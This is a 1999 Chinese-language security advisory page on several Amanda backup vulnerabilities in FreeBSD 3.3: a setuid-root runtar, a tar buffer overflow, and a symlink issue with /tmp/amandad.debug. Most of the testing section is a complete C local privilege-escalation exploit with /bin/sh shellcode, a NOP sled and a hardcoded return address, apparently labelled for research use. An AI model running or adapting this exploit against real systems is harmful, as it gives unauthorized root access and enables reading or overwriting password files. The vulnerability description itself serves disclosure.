首页 -> 安全研究

安全研究

安全漏洞
FreeBSD Amanda 系列漏洞

发布日期:1999-11-02
更新日期:1999-11-02

受影响系统:
任何suid版本的runtar都值得怀疑,作者在FreeBSD 3.3中进行了检验,检验包含了在
安装CD附加包和tar-1.11.1中的amanda 2.3.0和2.4.1。
因为Amanda可以安装在很多系统,因此在RedHat ?.?, TurboLinux, PowerTools CD,
SuSE 6.2 中都可能存在上述问题。
描述:
FreeBSD Amanda 系列漏洞

总论:
Amanda是一个在免费UNIX系统中流行的文件备份系统,Amanda文件备份包存在一些
可以让普通用户得到root权限的漏洞。

详细资料:
Amanda的“runtar”程序(/usr/bin/tar),在FreeBSD 3.3中缺省为suid root。

漏洞#1-以root权限执行tar

因为以root权限执行tar,因此可以tar任意文件,包括/etc/master.passwd。同样,也可以
untar文件到系统中的任意位置,包括/etc/master.passwd。这个并不需要对tar/runtar编制
什么溢出程序,你可以认为此时你就是root。


漏洞#1.1-tar包含一个缓存溢出

作者利用“/usr/local/libexec/amanda/runtar cvf $400bytes:hah”存在的长字串写入问题,
编制了溢出程序,溢出程序见附加部分。

漏洞 #2-符号连接(symlink)问题

当amandad守护进程运行时,在/tmp目录中存在一个名为"amandad.debug"的文件。
当创建一个/tmp/amandad.debug的符号连接文件时,可以通过amandad的调试信息
迫使amandad产生漏洞,值得注意的是,虽然amandad不是一个suid/sgid程序,但
大多情况下,amandad都是以root权限执行的。


漏洞存在范围:
任何suid版本的runtar都值得怀疑,作者在FreeBSD 3.3中进行了检验,检验包含了在
安装CD附加包和tar-1.11.1中的amanda 2.3.0和2.4.1。
因为Amanda可以安装在很多系统,因此在RedHat ?.?, TurboLinux, PowerTools CD,
SuSE 6.2 中都可能存在上述问题。



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

溢出程序:

/*
* Amanda runtar exploit yields euid=0(root)
* Actually overflows tar 1.11.2 (included in FreeBSD 3.3)
* Tested on FreeBSD 3.3, modify shell/addr/dir for Amanda/tar on other
* platforms
*
* Compile gcc -o amandax amandax.c
* Run ./amandax <offset> <buflen>
* keep buflen around 400, try positive and negative offsets
*
* Brock Tellier btellier@usa.net
*/


#include <stdlib.h>
#include <stdio.h>

char fbsdshell[]= /* mudge@lopht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


#define LEN 400
#define NOP 0x90
#define ALIGN 3
#define OFFSET 0
#define ADDR 0xbfbfdd90 /* fbsd 3.3 */

int main(int argc, char *argv[]) {

long int offset=OFFSET;

int i;
int buflen = LEN;
long int addr = ADDR;
char buf[LEN];

if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) buflen = atoi(argv[2]);
if (argc > 3) {
  fprintf(stderr, "Usage: %s <offset> <buflen>");
  exit(0);
}

fprintf(stderr, "Amanda runtar exploit for FreeBSD 3.3\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\t buflen: %d\t offset: %d\n",
addr+offset, buflen, offset);

memset(buf,NOP,buflen);
memcpy(buf+100,fbsdshell,strlen(fbsdshell));
for(i= 100 + strlen(fbsdshell)+ALIGN;i<buflen-4;i+=4)*(int
*)&buf[i]=addr+offset;

execl("/usr/local/libexec/amanda/runtar", "runtar","cvf", buf, ":bah",
NULL);

exit(0);
}


建议:
暂无

浏览次数:10244
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障